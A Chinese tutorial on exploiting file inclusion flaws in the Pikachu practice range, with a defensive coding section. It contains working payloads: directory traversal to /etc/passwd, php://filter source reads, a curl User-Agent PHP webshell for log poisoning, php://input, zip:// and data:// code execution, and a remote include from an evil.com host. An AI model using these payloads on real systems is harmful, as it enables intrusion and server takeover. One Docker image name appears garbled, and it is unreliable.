文件包含漏洞实战:从Pikachu靶场到PHP封装协议利用

发布时间:2026/6/26 6:47:06

文件包含漏洞实战:从Pikachu靶场到PHP封装协议利用 1. 项目概述为什么文件包含漏洞是Web安全的“隐形杀手”在Web安全测试的实战演练中pikachu靶场是一个绕不开的经典平台。它就像一个精心设计的“安全实验室”把各种常见的Web漏洞比如SQL注入、XSS、文件上传等都打包成了一个个独立的关卡供安全爱好者学习和练习。今天我们要啃下的硬骨头是其中的“File Inclusion”文件包含漏洞模块。这个漏洞的名字听起来可能不如“SQL注入”那么如雷贯耳但其危害性和隐蔽性却丝毫不逊色甚至在某些场景下更为致命。简单来说文件包含漏洞允许攻击者通过Web应用程序的动态文件包含功能将服务器上的任意文件甚至是远程服务器上的恶意脚本包含进来并执行。想象一下你家的门锁Web应用本意是让你用钥匙正常参数开门但锁的设计有缺陷攻击者随便拿个铁丝恶意参数捅一捅不仅能打开你家的门还能打开整栋楼的电闸控制箱系统文件。这就是文件包含漏洞的可怕之处——它可能让攻击者从读取网站配置文件一路升级到获取服务器控制权GetShell。在pikachu靶场里通关这个漏洞绝不仅仅是点几下按钮、填几个参数那么简单。它要求你深刻理解PHP或其他服务端语言在处理文件包含时的底层逻辑区分“本地文件包含”LFI和“远程文件包含”RFI的不同利用条件并掌握在各种限制下的绕过技巧。这整个过程正是从“脚本小子”走向真正安全研究员的关键一步。接下来我会带你从零开始手把手拆解pikachu中的文件包含漏洞不仅告诉你每一步怎么做更会深入剖析背后的“为什么”并分享我在实战中踩过的坑和总结出的独家技巧。2. 漏洞原理深度拆解PHP的include/require到底做了什么在动手之前我们必须先搞清楚敌人是谁。文件包含漏洞的核心在于服务端脚本语言以PHP为主提供的文件包含函数在没有对用户输入进行严格过滤的情况下被滥用了。2.1 核心函数与危险行为PHP中主要的文件包含函数有四个include()、include_once()、require()、require_once()。它们的区别在于处理包含失败的方式include会发警告但继续执行require会发致命错误并停止以及是否重复包含。但它们的本质功能是一样的将指定文件路径的代码读取并插入到当前脚本的位置执行。一个典型的危险代码片段是这样的?php $file $_GET[file]; // 直接从用户GET参数获取文件名 include($file . .php); // 动态包含文件 ?这段代码的本意可能是为了模块化设计比如通过?filehome来包含home.php页面。但问题就出在$_GET[‘file’]这个用户完全可控的输入上。2.2 本地文件包含LFI与远程文件包含RFI根据包含文件的来源漏洞分为两类本地文件包含LFI攻击者只能包含服务器本地文件系统上的文件。危害包括读取敏感文件如/etc/passwdLinux系统用户列表、C:\Windows\System32\drivers\etc\hostsWindows主机文件、网站配置文件config.php、.env、日志文件等。结合文件上传GetShell如果网站同时存在文件上传漏洞攻击者可以先上传一个图片马将Webshell代码写入图片的EXIF信息然后通过LFI包含这个图片文件。由于PHP会执行被包含文件中的PHP代码而图片中的文本内容会被直接输出因此需要配合PHP的封装协议或日志注入等技巧来执行代码。利用PHP封装协议这是LFI的“王牌技巧”。PHP提供了一系列如php://filter、zip://、phar://等协议可以用于读取、转换、甚至执行代码。例如php://filter/convert.base64-encode/resourceconfig.php可以以Base64编码形式读取PHP源文件避免直接包含执行。远程文件包含RFI攻击者可以包含远程服务器攻击者控制上的文件。这是更直接、危害更大的方式通常意味着攻击者可以直接执行任意远程PHP脚本瞬间获得Webshell。但RFI生效需要一个关键前提PHP配置中的allow_url_include选项必须为 On默认是 Off。在现在的PHP版本和生产环境中这个选项极少开启因此RFI的利用条件比LFI苛刻得多。注意在pikachu靶场中为了教学目的RFI的环境通常是开启的。但在真实世界漏洞挖掘和渗透测试中遇到RFI的概率远低于LFI。我们的学习重点应该放在LFI的各种高级利用技巧上。2.3 pikachu靶场环境搭建要点虽然热词里提到了搭建但这里强调几个新手容易卡住的点集成环境选择推荐使用PHPStudy、XAMPP或Docker。对于pikachu确保你的PHP版本在5.x 到 7.x之间部分漏洞在PHP8上可能因函数移除而无法复现。我个人的习惯是用Docker隔离性好一键部署。# 一个简单的Docker运行示例假设有现成镜像 docker run -d -p 8080:80 --name pikachu vulnerables/web-dvwa:pikachu关键配置修改为了复现RFI你需要手动修改PHP配置文件php.ini。找到allow_url_fopen On和allow_url_include On。修改后务必重启Web服务Apache/Nginx。访问与初始化浏览器访问http://你的IP或localhost/pikachu的目录/根据提示初始化数据库。如果页面显示不正常检查目录权限和PHP错误日志。3. pikachu文件包含关卡实战通关详解pikachu的文件包含模块通常分为几个小关卡由易到难。我们逐一攻破。3.1 第一关基础本地文件包含LFI这一关通常是毫无过滤的直接包含用于建立最基础的概念。操作步骤访问pikachu文件包含漏洞页面你会看到一个简单的链接或表单参数名可能是file。尝试包含系统文件。在参数中输入../../../../etc/passwdLinux或..\..\..\..\Windows\System32\drivers\etc\hostsWindows。使用../是为了进行目录遍历Path Traversal跳出Web目录。如果成功页面上会显示/etc/passwd文件的内容。原理与技巧为什么能用../因为服务端代码类似include($_GET[file] . .php)当我们输入../../../etc/passwd时拼接后变成include(‘../../../etc/passwd.php’)。服务器会尝试寻找passwd.php文件但显然找不到。关键在于很多情况下攻击者输入../../../etc/passwd后会在后面加上一个空字节%00空字符截断或利用路径长度限制等技巧来“截断”后面拼接的.php。但在PHP版本 5.3.4 后%00截断已失效。pikachu的初级关卡可能直接是include($_GET[‘file’])没有后缀或者PHP版本较低所以能直接成功。实操心得第一关成功后别急着走。试试包含Web目录下的其他文件比如index.php本身或者include.php看看源码。这有助于你理解后端代码结构为后面绕过过滤做准备。3.2 第二关过滤了../和..\的LFI这一关开始增加难度后端代码可能会用str_replace之类的函数把用户输入中的../和..\替换为空。绕过技巧双写绕过如果过滤是简单的str_replace(‘../’, ‘’, $file)那么输入....//。过滤一次后中间的../被删掉剩下的../又组合起来了变成....//-(删除../)-../。尝试 payload:....//....//....//etc/passwd绝对路径绕过如果知道Web目录的绝对路径可以直接使用。例如Web根目录是/var/www/html你想包含/etc/passwd可以尝试/etc/passwd。但前提是include函数允许包含绝对路径受open_basedir等配置限制。利用PHP封装协议——php://filter这是更强大、更通用的方法。即使目录遍历被过滤我们依然可以读取源码。读取PHP源码?filephp://filter/convert.base64-encode/resourceindex.php这个payload的意思是使用php://filter流应用一个convert.base64-encode过滤器对resource指定的文件index.php进行读取。返回的结果是Base64编码后的源码。你需要用Burp Suite的解码器或在线工具进行解码才能看到可读的PHP代码。为什么用Base64编码因为直接包含index.php会导致其中的PHP代码被执行我们只能看到执行后的HTML输出看不到源代码。通过Base64编码我们得到的是文件的原始字节解码后就是完整的源码。重要提示php://filter在文件包含漏洞的利用中地位极高几乎成了“万金油”。它不仅能读源码还能进行字符串的各种转换处理。务必掌握其基本语法。3.3 第三关远程文件包含RFI这一关需要你的PHP环境已开启allow_url_include。操作步骤准备恶意脚本在攻击者自己控制的一台公网服务器或同一内网中另一台机器上创建一个文本文件内容为?php phpinfo(); ?保存为shell.txt。注意文件后缀不一定是.php因为包含时会当作PHP代码执行。搭建简易HTTP服务在该服务器上用Python快速起一个HTTP服务。python3 -m http.server 8000发起包含请求在pikachu漏洞页面输入?filehttp://你的攻击机IP:8000/shell.txt。如果成功页面会显示phpinfo()的信息证明远程代码已被执行。深入分析与注意事项协议利用除了http://还可以尝试ftp://、https://等取决于PHP配置。问号?的作用有时为了绕过后缀拼接会在URL后加?。例如后端代码是include($_GET[‘file’] . ‘.php’)你输入http://evil.com/shell.txt?拼接后变成http://evil.com/shell.txt?.php?在URL中表示参数开始后面的.php会被当作参数的一部分从而无效化。但这种方法在现代PHP环境中效果有限。实战中的困境如前所述生产环境allow_url_includeOn几乎绝迹。因此在真实漏洞挖掘中看到RFI漏洞可以直接上报高危但遇到的可能性很小。更多时候我们需要在LFI上做文章。3.4 第四关高级LFI利用——日志文件包含GetShell这是文件包含漏洞利用的“经典咏流传”场景也是从“文件读取”升级到“代码执行”的关键一步。前提是服务器存在LFI并且Web服务如Apache、Nginx的访问日志路径可知、内容可控。原理Web服务器会将每一个HTTP请求记录在访问日志中如/var/log/apache2/access.log。如果我们在User-Agent或请求路径中插入PHP代码这段代码就会被原样记录到日志文件里。然后通过LFI漏洞去包含这个日志文件其中的PHP代码就会被执行。利用步骤以Apache为例探测日志路径通过LFI读取一些已知文件或利用报错信息猜测日志路径。常见路径有/var/log/apache2/access.log/var/log/apache/access.log/var/log/httpd/access_log/usr/local/apache/logs/access_logWindows下可能类似C:\xampp\apache\logs\access.log污染日志使用Burp Suite或Curl向目标网站发送一个请求在User-Agent头中携带Webshell代码。curl -A ?php system(\$_GET[cmd]);? http://target.com/或者在GET参数中注入但容易被URL编码不如User-Agent直接。包含日志文件使用LFI漏洞包含刚才污染的日志文件。?file../../../../var/log/apache2/access.log执行命令如果包含成功日志文件中的PHP代码会被执行。此时你就可以在包含日志的URL后面添加cmdwhoami来执行系统命令了。?file../../../../var/log/apache2/access.logcmdid关键技巧与避坑指南日志文件过大真实的access.log可能非常大包含它会导致PHP内存耗尽或超时。解决方法在污染日志后立即发送包含请求让你的恶意代码位于日志文件的末尾。或者寻找error.log错误日志它通常更小也可以通过触发错误的方式写入恶意代码。编码问题如果日志文件包含特殊字符导致包含失败可以尝试Base64编码你的Webshell代码然后在包含时使用php://filter的convert.base64-decode过滤器先解码。但这需要非常精确的控制。权限问题Web进程如www-data用户必须有读取日志文件的权限。通常这是有的。实战心得日志包含是内网渗透测试中非常有效的手段。一旦通过其他漏洞如SQL注入获取了Web绝对路径结合LFI日志包含GetShell的成功率很高。务必熟练掌握Burp Suite的Repeater模块用于精确发送污染请求。4. PHP封装协议在文件包含中的花式利用php://filter我们已经见识过了PHP的封装协议家族还有其他成员在特定场景下能发挥奇效。4.1 php://input 协议这个协议允许你读取POST请求的原始数据作为输入流。前提是allow_url_includeOn且php://input的enabled配置为 On默认是。利用方式发送一个POST请求将请求体Body设置为要执行的PHP代码。在文件包含参数中指定php://input。服务器会执行POST Body中的代码。示例使用Burp SuitePOST /vul/fileinclude/fi.php?filephp://input HTTP/1.1 ... 其他头部 ?php system(whoami); ?注意事项php://input是一次性的流不能多次读取。且由于依赖allow_url_include实战中同样少见但CTF比赛中常考。4.2 zip:// 与 phar:// 协议这两个协议用于包含压缩包中的文件。如果网站有文件上传功能你可以上传一个包含Webshell的ZIP文件然后利用LFI包含其中的文件。利用步骤创建一个shell.php内容为?php phpinfo(); ?。将其压缩为shell.zip。关键点压缩时shell.php必须位于ZIP包的根目录不能放在文件夹里。将shell.zip上传到服务器通过文件上传漏洞假设上传后的路径为/uploads/shell.zip。利用LFI漏洞包含?filezip:///绝对路径/uploads/shell.zip%23shell.php注意格式zip://[压缩包绝对路径]#[压缩包内文件名]#在URL中需要编码为%23。路径必须是绝对路径。phar://协议与zip://类似但它是PHP的归档格式利用方式相通。4.3 data:// 协议data://协议同样需要allow_url_includeOn。它允许在URL中直接嵌入数据。利用格式?filedata://text/plain,?php phpinfo();? // 或者Base64编码避免特殊字符问题 ?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B这相当于直接包含了一段PHP代码非常直接。5. 文件包含漏洞的防御编码与安全开发建议攻击是为了更好的防御。理解了如何利用我们更要明白如何从根本上杜绝它。5.1 根本原因与防御策略漏洞根源用户可控的输入被未经校验地传递给了文件包含函数。防御黄金法则白名单校验。固定文件前缀后缀如果可能不要从用户输入中获取任何路径部分。例如只允许包含pages/目录下的.php文件。// 错误示范 $page $_GET[page]; include($page . .php); // 正确示范白名单 $allowed_pages [home, about, contact]; $page $_GET[page]; if (in_array($page, $allowed_pages)) { include(./pages/ . $page . .php); } else { include(./pages/404.php); }避免动态包含重新审视架构是否真的需要动态包含很多情况下可以通过路由如/home对应HomeController来实现而非直接包含文件。设置PHP安全配置allow_url_fopen Offallow_url_include Off重中之重open_basedir /your/web/root:/tmp将PHP可操作的文件限制在指定目录树内是限制LFI横向移动的有效手段过滤危险字符如果必须使用动态包含必须对输入进行严格过滤。但注意过滤../等可以通过双写、编码绕过因此白名单优于黑名单。// 不安全的黑名单过滤 $file str_replace([../, ..\\, php://, data://], , $_GET[file]); // 攻击者可以使用 ....// 或 phP:// (大小写绕过) 来绕过 // 相对安全的做法正则匹配只允许字母数字和指定分隔符 if (!preg_match(/^[a-zA-Z0-9_\-\.\/]$/, $file) || strpos($file, ..) ! false) { die(Invalid file parameter.); }5.2 安全开发自查清单在代码审计或自我检查时问自己这几个问题项目中哪里用了include、require及其_once变体这些函数的参数是否直接或间接经过简单拼接来自$_GET、$_POST、$_COOKIE、$_REQUEST如果是是否有严格的白名单校验校验逻辑能否被绕过PHP的open_basedir是否已正确配置将作用域限制在最小必要目录6. 实战问题排查与技巧实录在通关pikachu或实战测试时你肯定会遇到各种“坑”。这里记录几个典型问题和我的解决思路。问题1包含/etc/passwd成功但包含Web目录下的config.php却返回空白或错误。可能原因config.php文件内容被正确包含并执行了。但该文件中可能只包含数据库配置变量如$db_host ‘localhost’;没有输出语句。PHP执行后不会在页面产生任何可见输出。同时该文件可能设置了权限禁止外部访问或者包含后因为变量作用域问题后续代码报错。排查技巧尝试包含phpinfo.php或一个有echo ‘test’;的简单文件确认包含功能本身正常。使用php://filter读取config.php的源码?filephp://filter/convert.base64-encode/resourceconfig.php。这是查看配置文件最可靠的方法。查看浏览器开发者工具的网络响应或PHP错误日志看是否有报错信息。问题2使用php://filter读取文件返回一堆乱码或下载提示。可能原因返回的是Base64编码的字符串浏览器直接渲染成了乱码。或者某些环境下php://filter的输出会被加上HTTP头。解决技巧用Burp Suite的Repeater发送请求在响应Response的Raw视图里复制Base64编码的部分。使用Burp Suite的Decoder模块或在线Base64解码工具进行解码。如果响应头导致浏览器下载可以在Burp中直接查看响应体。问题3日志包含攻击发送了恶意User-Agent但包含日志文件时没有执行代码。可能原因日志路径不对这是最常见的原因。多尝试几个常见路径。日志内容被转义某些Web服务器或安全模块可能会对日志中的特殊字符如,进行HTML实体转义变成lt;,gt;导致PHP代码被破坏。代码格式错误确保插入的PHP代码是完整的?php ... ?标签并且没有因为换行、空格被破坏。权限问题Web用户对日志文件有读权限但可能因为SELinux、AppArmor等安全模块限制而无法访问。排查步骤先用LFI读取日志文件确认你的恶意代码是否被原样写入。注意看?php是否被转义。如果被转义尝试其他注入位置如Referer头或者尝试写入error.log。写入一个简单的?php echo ‘test’;?进行测试排除代码语法错误。问题4在Windows靶机上目录遍历符号../不生效。原因与技巧Windows路径分隔符是反斜杠\。但PHP在Windows系统上通常也支持正斜杠/。可以尝试混合使用或使用URL编码。Payload:..\..\..\Windows\System32\drivers\etc\hosts或者../../../../Windows/System32/drivers/etc/hosts有时需要绝对路径C:\Windows\System32\drivers\etc\hosts注意include可能限制绝对路径文件包含漏洞的深度和广度远超一篇博文所能涵盖它在不同语言如JSP、ASP、不同框架、不同配置环境下都有其独特的利用方式和防御手法。通关pikachu只是一个开始它为你打开了这扇门。真正的功力需要在大量的代码审计、靶场练习和合规授权测试中积累。记住核心永远不要信任用户输入白名单是唯一可靠的朋友。当你自己写代码时多问一句“这个参数用户可控吗”就能避免很多潜在的安全风险。

相关新闻